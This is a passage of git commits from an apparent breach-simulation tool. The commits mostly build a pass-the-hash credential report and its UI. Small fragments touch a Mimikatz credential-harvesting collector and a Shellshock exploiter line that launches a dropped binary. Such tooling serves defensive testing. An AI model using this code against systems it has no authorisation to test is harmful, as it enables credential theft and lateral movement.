    ; }; @@ -12,7 +13,7 @@ const columns = [ { Header: 'Username', accessor: 'username'}, { Header: 'Domain', accessor: 'domain'}, { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} + { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)} ] } ]; From 9eb2895c496c6c217bfaa7c2fd236c4fa5be85b7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 4 Sep 2018 17:18:01 +0300 Subject: [PATCH 095/183] * CR comments fixed --- infection_monkey/requirements.txt | 1 - .../system_info/mimikatz_collector.py | 6 +- .../system_info/windows_info_collector.py | 13 +- monkey_island/cc/app.py | 4 - monkey_island/cc/resources/pthmap.py | 21 -- monkey_island/cc/resources/pthreport.py | 13 - monkey_island/cc/services/pth_report.py | 176 +--------- monkey_island/cc/services/pth_report_utils.py | 24 +- monkey_island/mymap.py | 330 ------------------ 9 files changed, 13 insertions(+), 575 deletions(-) delete mode 100644 monkey_island/cc/resources/pthmap.py delete mode 100644 monkey_island/cc/resources/pthreport.py delete mode 100644 monkey_island/mymap.py diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 60656280b..9e9adc97f 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -13,7 +13,6 @@ PyInstaller six ecdsa netifaces -mock nos ipaddress wmi diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index 89222c2e2..4d994c6ab 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -21,10 +21,10 @@ class MimikatzCollector(object): self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) - getTextOutput = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) + get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) - self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) + self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True except Exception: LOG.exception("Error initializing mimikatz collector") @@ -44,7 +44,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - self.mimikatz_text = self._getTextOutput() + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): entry = self._get() diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 30685569b..d63553b8f 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -113,12 +113,11 @@ def fix_wmi_obj_for_mongo(o): row[method_name[3:]] = value except wmi.x_wmi: - #LOG.error("Error running wmi method '%s'" % (method_name, )) - #LOG.error(traceback.format_exc()) continue return row + class WindowsInfoCollector(InfoCollector): """ System information collecting module for Windows operating systems @@ -126,6 +125,7 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() + self.info['reg'] = {} def get_info(self): """ @@ -162,9 +162,6 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - # for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): - # self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) - def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) @@ -175,8 +172,6 @@ class WindowsInfoCollector(InfoCollector): wmi_class = getattr(_wmi, class_name)(properties) except wmi.x_wmi: - #LOG.error("Error getting wmi class '%s'" % (class_name, )) - #LOG.error(traceback.format_exc()) return return fix_obj_for_mongo(wmi_class) @@ -188,7 +183,7 @@ class WindowsInfoCollector(InfoCollector): d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) d = fix_obj_for_mongo(d) - self.info[subkey_path] = d + self.info['reg'][subkey_path] = d subkey.Close() - key.Close() \ No newline at end of file + key.Close() diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 0f0754ed3..6b9ac1154 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -19,8 +19,6 @@ from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap -from cc.resources.pthmap import PthMap -from cc.resources.pthreport import PTHReport from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -108,7 +106,5 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') - api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') - api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/') return app diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py deleted file mode 100644 index d19afd56f..000000000 --- a/monkey_island/cc/resources/pthmap.py +++ /dev/null @@ -1,21 +0,0 @@ -import copy -import flask_restful - - -from cc.auth import jwt_required -from cc.services.pth_report_utils import PassTheHashReport, Machine - - -class PthMap(flask_restful.Resource): - @jwt_required() - def get(self, **kw): - pth = PassTheHashReport() - - v = copy.deepcopy(pth.vertices) - e = copy.deepcopy(pth.edges) - - return \ - { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] - } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py deleted file mode 100644 index 7c4046694..000000000 --- a/monkey_island/cc/resources/pthreport.py +++ /dev/null @@ -1,13 +0,0 @@ -import flask_restful - -from cc.auth import jwt_required -from cc.services.pth_report import PTHReportService - -__author__ = "maor.rayzin" - - -class PTHReport(flask_restful.Resource): - - @jwt_required() - def get(self): - return PTHReportService.get_report() diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 03167f81a..512a80a14 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -257,178 +257,4 @@ class PTHReportService(object): 'edges': pth.edges } } - return report - - # print """ ); } @@ -465,9 +474,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    @@ -745,6 +751,18 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedCredsDomainIssue(issue) { + return ( +
  • + Some domain users are sharing passwords, this should be fixed by changing passwords. + + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + generateSharedCredsIssue(issue) { return (
  • @@ -760,10 +778,10 @@ class ReportPageComponent extends AuthComponent { generateSharedLocalAdminsIssue(issue) { return (
  • - This machine shares a local admin account with another machine + Credentials for the user {issue.username} could be found and the user is an administrator account on more than one machines in the domain. - Here is a list showing users that are acting as admins on this machine and others: - {this.generateInfoBadges(issue.shared_accounts)} + Here is a list of machines which has this account defined as an administrator: + {this.generateInfoBadges(issue.shared_machines)}
  • ); @@ -892,7 +910,10 @@ class ReportPageComponent extends AuthComponent { case 'shared_passwords': data = this.generateSharedCredsIssue(issue); break; - case 'shared_admins': + case 'shared_passwords_domain': + data = this.generateSharedCredsDomainIssue(issue); + break; + case 'shared_admins_domain': data = this.generateSharedLocalAdminsIssue(issue); break; case 'strong_users_on_crit': From 010183811ced1d369958d2221d8b9f17b18101b0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 11 Oct 2018 17:48:29 +0300 Subject: [PATCH 098/183] Bugfix JWT expects input of string --- monkey/monkey_island/cc/app.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c4554ccf2..a9682cc90 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -84,7 +84,7 @@ def init_app(mongo_url): app.config['MONGO_URI'] = mongo_url - app.config['SECRET_KEY'] = uuid.getnode() + app.config['SECRET_KEY'] = str(uuid.getnode()) app.config['JWT_AUTH_URL_RULE'] = '/api/auth' app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time() From 822e54f373568fde1bc710f19717aa3f3bb0ee8b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 14 Oct 2018 17:57:15 +0300 Subject: [PATCH 099/183] This commit isn't final. I want to reorganise the code structure a bit, to make it prettier and readable, also to add docs. Still need to update the report's text. --- .../monkey_island/cc/resources/telemetry.py | 10 + monkey/monkey_island/cc/services/node.py | 5 + .../monkey_island/cc/services/pth_report.py | 246 +++++++----------- .../cc/services/pth_report_utils.py | 4 + monkey/monkey_island/cc/services/report.py | 9 +- .../cc/ui/src/components/pages/ReportPage.js | 19 +- 6 files changed, 124 insertions(+), 169 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0ef453e98..0c390a192 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -197,11 +197,19 @@ class Telemetry(flask_restful.Resource): Telemetry.create_group_user_connection(info_for_mongo, group_user_dict) for entity in info_for_mongo.values(): if entity['machine_id']: + # Handling for local entities. mongo.db.groupsandusers.update({'SID': entity['SID'], 'machine_id': entity['machine_id']}, entity, upsert=True) else: + # Handlings for domain entities. if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): mongo.db.groupsandusers.insert_one(entity) + else: + # if entity is domain entity, add the monkey id of current machine to secrets_location. + # (found on this machine) + if entity.get('NTLM_secret'): + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + {'$addToSet': {'secret_location': monkey_id}}) Telemetry.add_admin(info_for_mongo[group_info.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) Telemetry.update_admins_retrospective(info_for_mongo) @@ -209,6 +217,8 @@ class Telemetry(flask_restful.Resource): telemetry_json['data']['wmi']['Win32_Product'], monkey_id) + + @staticmethod def update_critical_services(wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 47cd9cd21..371eefb5a 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -97,6 +97,11 @@ class NodeService: def get_monkey_label_by_id(monkey_id): return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) + @staticmethod + def get_monkey_critical_services(monkey_id): + critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', []) + return critical_services + @staticmethod def get_monkey_label(monkey): label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 726fba143..bc995242d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,3 +1,7 @@ +import uuid +from itertools import combinations, product + +from cc.services.edge import EdgeService from cc.services.pth_report_utils import PassTheHashReport, Machine from cc.database import mongo from bson import ObjectId @@ -49,7 +53,6 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(): - # TODO: Fix bug if both local and non local account share the same password user_groups = PTHReportService.get_duplicated_passwords_nodes() issues = [] users_gathered = [] @@ -98,195 +101,130 @@ class PTHReportService(object): return issues - @staticmethod - def old_get_shared_local_admins_nodes(pth): - dups = dict(map(lambda x: (x, len(pth.GetSharedAdmins(x))), pth.machines)) - shared_admin_machines = [] - for m, count in sorted(dups.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - shared_admin_account_list = [] - - for sid in pth.GetSharedAdmins(m): - shared_admin_account_list.append(pth.GetUsernameBySid(sid)) - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': m.GetCriticalServicesInstalled(), - 'user_count': count, - 'admins_accounts': shared_admin_account_list - } - - shared_admin_machines.append(machine) - - return shared_admin_machines - - @staticmethod - def get_strong_users_on_crit_services_by_machine(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetCritialServers())) - strong_users_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services': m.GetCriticalServicesInstalled(), - 'threatening_users': threatening_users_attackers_dict - } - strong_users_crit_list.append(machine) - return strong_users_crit_list - - @staticmethod - def get_strong_users_on_crit_services_by_user(pth): - critical_servers = pth.GetCritialServers() - strong_users_dict = {} - - for server in critical_servers: - users = pth.GetThreateningUsersByVictim(server) - for sid in users: - username = pth.GetUsernameBySid(sid) - if username not in strong_users_dict: - strong_users_dict[username] = { - 'services_names': [], - 'machines': [] + def get_strong_users_on_critical_machines_nodes(): + crit_machines = {} + pipeline = [ + { + '$unwind': '$admin_on_machines' + }, + { + '$match': {'type': 1, 'domain_name': {'$ne': None}} + }, + { + '$lookup': + { + 'from': 'monkey', + 'localField': 'admin_on_machines', + 'foreignField': '_id', + 'as': 'critical_machine' } - strong_users_dict[username]['username'] = username - strong_users_dict[username]['domain'] = server.GetDomainName() - strong_users_dict[username]['services_names'] += server.GetCriticalServicesInstalled() - strong_users_dict[username]['machines'].append(server.GetHostName()) - - return strong_users_dict.values() - - @staticmethod - def get_strong_users_on_non_crit_services(pth): - threatening = dict(map(lambda x: (x, len(pth.GetThreateningUsersByVictim(x))), pth.GetNonCritialServers())) - - strong_users_non_crit_list = [] - - for m, count in sorted(threatening.iteritems(), key=lambda (k, v): (v, k), reverse=True): - if count <= 0: - continue - - threatening_users_attackers_dict = {} - for sid in pth.GetThreateningUsersByVictim(m): - username = pth.GetUsernameBySid(sid) - threatening_users_attackers_dict[username] = [] - for mm in pth.GetAttackersBySid(sid): - if m == mm: - continue - threatening_users_attackers_dict[username] = mm.GetIp() - - machine = { - 'ip': m.GetIp(), - 'hostname': m.GetHostName(), - 'domain': m.GetDomainName(), - 'services_names': [], - 'user_count': count, - 'threatening_users': threatening_users_attackers_dict + }, + { + '$match': {'critical_machine.critical_services': {'$ne': []}} + }, + { + '$unwind': '$critical_machine' } - strong_users_non_crit_list.append(machine) - return strong_users_non_crit_list - - - + ] + docs = mongo.db.groupsandusers.aggregate(pipeline) + for doc in docs: + hostname = str(doc['critical_machine']['hostname']) + if not hostname in crit_machines: + crit_machines[hostname] = {} + crit_machines[hostname]['threatening_users'] = [] + crit_machines[hostname]['critical_services'] = doc['critical_machine']['critical_services'] + crit_machines[hostname]['threatening_users'].append( + {'name': str(doc['domain_name']) + '\\' + str(doc['name']), + 'creds_location': doc['secret_location']}) + return crit_machines @staticmethod - def strong_users_on_crit_issues(strong_users): + def get_strong_users_on_crit_issues(): issues = [] - for machine in strong_users: + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + for machine in crit_machines: issues.append( { 'type': 'strong_users_on_crit', - 'machine': machine.get('hostname'), - 'services': machine.get('services'), - 'ip': machine.get('ip'), - 'threatening_users': machine.get('threatening_users').keys() + 'machine': machine, + 'services': crit_machines[machine].get('critical_services'), + 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] } ) return issues @staticmethod - def get_machine_details(node_id): - machine = Machine(node_id) - node = {} - if machine.latest_system_info: - node = { - "id": str(node_id), - "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), - 'group': 'critical' if machine.IsCriticalServer() else 'normal', - 'users': list(machine.GetCachedUsernames()), - 'ips': [machine.GetIp()], - 'services': machine.GetCriticalServicesInstalled(), - 'hostname': machine.GetHostName() - } - return node + def generate_map_nodes(): - @staticmethod - def generate_map_nodes(pth): nodes_list = [] - for node_id in pth.vertices: - node = PTHReportService.get_machine_details(node_id) - nodes_list.append(node) + monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) + for monkey in monkeys: + critical_services = monkey.get('critical_services', []) + nodes_list.append({ + 'id': monkey['_id'], + 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), + 'group': 'critical' if critical_services else 'normal', + 'services': critical_services, + 'hostname': monkey['hostname'] + }) return nodes_list @staticmethod - def get_issues_list(issues): - issues_dict = {} + def generate_edge_nodes(): + edges_list = [] + pipeline = [ + { + '$match': {'admin_on_machines': {'$ne': []}, 'secret_location': {'$ne': []}, 'type': 1} + }, + { + '$project': {'admin_on_machines': 1, 'secret_location': 1} + } + ] + comp_users = mongo.db.groupsandusers.aggregate(pipeline) - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) + for user in comp_users: + pairs = PTHReportService.generate_edges_tuples(user['admin_on_machines'], user['secret_location']) + for pair in pairs: + edges_list.append( + { + 'from': pair[0], + 'to': pair[1], + 'id': str(uuid.uuid4()) + } + ) + return edges_list + + + @staticmethod + def generate_edges_tuples(*lists): + + for t in combinations(lists, 2): + for pair in product(*t): + # Don't output pairs containing duplicated elements + if pair[0] != pair[1]: + yield pair - return issues_dict @staticmethod def get_report(): - + PTHReportService.get_strong_users_on_critical_machines_nodes() issues = [] - pth = PassTheHashReport() - - strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services_by_user(pth) - strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - - issues += PTHReportService.get_duplicated_passwords_issues() - # issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) - # issues += PTHReportService.strong_users_on_crit_issues( - # PTHReportService.get_strong_users_on_crit_services_by_machine(pth)) - report = \ { 'report_info': { - 'strong_users_on_crit_services': strong_users_on_crit_services, - 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, 'pth_issues': issues }, 'pthmap': { - 'nodes': PTHReportService.generate_map_nodes(pth), - 'edges': pth.edges + 'nodes': PTHReportService.generate_map_nodes(), + 'edges': PTHReportService.generate_edge_nodes() } } - return report \ No newline at end of file + + return report diff --git a/monkey/monkey_island/cc/services/pth_report_utils.py b/monkey/monkey_island/cc/services/pth_report_utils.py index 61fe78765..13fe3654f 100644 --- a/monkey/monkey_island/cc/services/pth_report_utils.py +++ b/monkey/monkey_island/cc/services/pth_report_utils.py @@ -604,6 +604,10 @@ class PassTheHashReport(object): RIGHT_ARROW = u"\u2192" return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) + + + + def get_edges_by_sid(self): edges_list = [] diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 3af346f34..552250b35 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -118,10 +118,7 @@ class ReportService: [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in mongo.db.monkey.find({}, {'_id': 1})] - for node in nodes: - pth_services = PTHReportService.get_machine_details(NodeService.get_monkey_by_id(node['id']) - .get('guid', None)).get('services', None) formatted_nodes.append( { 'label': node['label'], @@ -130,7 +127,7 @@ class ReportService: (x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), - 'services': node['services'] + pth_services if pth_services else [] + 'services': node['services'] }) logger.info('Scanned nodes generated for reporting') @@ -561,7 +558,8 @@ class ReportService: ReportService.get_tunnels, ReportService.get_island_cross_segment_issues, ReportService.get_azure_issues, - PTHReportService.get_duplicated_passwords_issues + PTHReportService.get_duplicated_passwords_issues, + PTHReportService.get_strong_users_on_crit_issues ] issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) @@ -720,7 +718,6 @@ class ReportService: 'pth': { 'map': pth_report.get('pthmap'), - 'info': pth_report.get('report_info') } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index f45a5dab3..f4982a9e8 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -410,18 +410,19 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
    -

    - Recommendations -

    -
    - {this.generateIssues(this.state.report.recommendations.issues)} -

    Domain related recommendations

    {this.generateIssues(this.state.report.recommendations.domain_issues)}
    +

    + Machine related Recommendations +

    +
    + {this.generateIssues(this.state.report.recommendations.issues)} +
    +
    ); } @@ -474,9 +475,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    ); } @@ -487,6 +485,9 @@ class ReportPageComponent extends AuthComponent {

    Credential Map

    +

    + This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers. +

    From c8e547ee8a791dead401b8f73bae0d7a5358d7f8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 14 Oct 2018 17:58:51 +0300 Subject: [PATCH 100/183] cleaned up imports --- monkey/monkey_island/cc/services/pth_report.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index bc995242d..364c2c5aa 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,8 +1,6 @@ import uuid from itertools import combinations, product -from cc.services.edge import EdgeService -from cc.services.pth_report_utils import PassTheHashReport, Machine from cc.database import mongo from bson import ObjectId From 64c072950c2d367371b665ba326431cd2ffca83c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 14 Oct 2018 20:05:49 +0300 Subject: [PATCH 101/183] Dropper expects to know where is it going to --- monkey/infection_monkey/exploit/shellshock.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index dd80af22c..b268371be 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) From ab8ee08b472b4b610d6ac3c0fa3c2e5cedd8ede9 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 16 Oct 2018 12:05:09 +0300 Subject: [PATCH 102/183] Added strong users table in the report and removed old files --- .../monkey_island/cc/resources/telemetry.py | 2 - .../monkey_island/cc/services/pth_report.py | 44 +- monkey/monkey_island/cc/services/report.py | 1 + .../cc/ui/src/components/pages/ReportPage.js | 20 +- .../report-components/StrongUsers.js | 1 - monkey_island/cc/services/group_info.py | 0 monkey_island/cc/services/pth_report.py | 259 ----- monkey_island/cc/services/pth_report_utils.py | 958 ------------------ monkey_island/cc/services/user_info.py | 0 .../map/preview-pane/InfMapPreviewPane.js | 247 ----- .../map/preview-pane/PthPreviewPane.js | 63 -- .../components/pages/PassTheHashMapPage.js | 58 -- .../report-components/SharedAdmins.js | 42 - .../report-components/SharedCreds.js | 41 - .../report-components/StrongUsers.js | 44 - .../cc/ui/src/images/nodes/pth/critical.png | Bin 20067 -> 0 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 19466 -> 0 bytes 17 files changed, 46 insertions(+), 1734 deletions(-) delete mode 100644 monkey_island/cc/services/group_info.py delete mode 100644 monkey_island/cc/services/pth_report.py delete mode 100644 monkey_island/cc/services/pth_report_utils.py delete mode 100644 monkey_island/cc/services/user_info.py delete mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js delete mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js delete mode 100644 monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/SharedAdmins.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/SharedCreds.js delete mode 100644 monkey_island/cc/ui/src/components/report-components/StrongUsers.js delete mode 100644 monkey_island/cc/ui/src/images/nodes/pth/critical.png delete mode 100644 monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0c390a192..644fd6984 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -217,8 +217,6 @@ class Telemetry(flask_restful.Resource): telemetry_json['data']['wmi']['Win32_Product'], monkey_id) - - @staticmethod def update_critical_services(wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 364c2c5aa..0bd9c332d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -7,14 +7,6 @@ from bson import ObjectId class PTHReportService(object): - """ - - """ - - def __init__(self): - pass - - @staticmethod def get_duplicated_passwords_nodes(): users_cred_groups = [] @@ -153,6 +145,34 @@ class PTHReportService(object): return issues + @staticmethod + def get_strong_users_on_crit_details(): + table_entries = [] + user_details = {} + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + for machine in crit_machines: + for user in crit_machines[machine]['threatening_users']: + username = user['name'] + if username not in user_details: + user_details[username] = {} + user_details[username]['machines'] = [] + user_details[username]['services'] = [] + user_details[username]['machines'].append(machine) + user_details[username]['services'] += crit_machines[machine]['critical_services'] + + for user in user_details: + table_entries.append( + { + 'username': user, + 'machines': user_details[user]['machines'], + 'services_names': user_details[user]['services'] + } + ) + + return table_entries + + + @staticmethod def generate_map_nodes(): @@ -188,14 +208,13 @@ class PTHReportService(object): for pair in pairs: edges_list.append( { - 'from': pair[0], - 'to': pair[1], + 'from': pair[1], + 'to': pair[0], 'id': str(uuid.uuid4()) } ) return edges_list - @staticmethod def generate_edges_tuples(*lists): @@ -205,7 +224,6 @@ class PTHReportService(object): if pair[0] != pair[1]: yield pair - @staticmethod def get_report(): @@ -216,8 +234,10 @@ class PTHReportService(object): { 'report_info': { + 'strong_users_table': PTHReportService.get_strong_users_on_crit_details(), 'pth_issues': issues }, + 'pthmap': { 'nodes': PTHReportService.generate_map_nodes(), diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 552250b35..304867495 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -717,6 +717,7 @@ class ReportService: }, 'pth': { + 'strong_users': pth_report['report_info']['strong_users_table'], 'map': pth_report.get('pthmap'), } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index f4982a9e8..260701c4d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -347,8 +347,7 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? -
  • Credentials of strong users was found on machines and can give access to critical servers - (DC, MSSQL, etc..)
  • : null } +
  • Mimikatz found login credentials of a user who has admin access to a server defined as critical.
  • : null }
    : @@ -375,11 +374,9 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • The monkey has found that some users have administrative rights on several machines.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS_DOMAIN] ? -
  • The monkey has found that some users are sharing passwords on domain accounts.
  • : null} +
  • Shared local administrator account - Different machines have the same account as a local administrator.
  • : null} {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? -
  • The monkey has found that some users are sharing passwords.
  • : null} +
  • Multiple users have the same password
  • : null} : @@ -471,10 +468,15 @@ class ReportPageComponent extends AuthComponent {
    +
    {this.generateReportPthMap()} +
    +
    + +
    ); } @@ -488,6 +490,10 @@ class ReportPageComponent extends AuthComponent {

    This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.

    +
    + Legend: + Access credentials | +
    @@ -779,7 +785,7 @@ class ReportPageComponent extends AuthComponent { generateSharedLocalAdminsIssue(issue) { return (
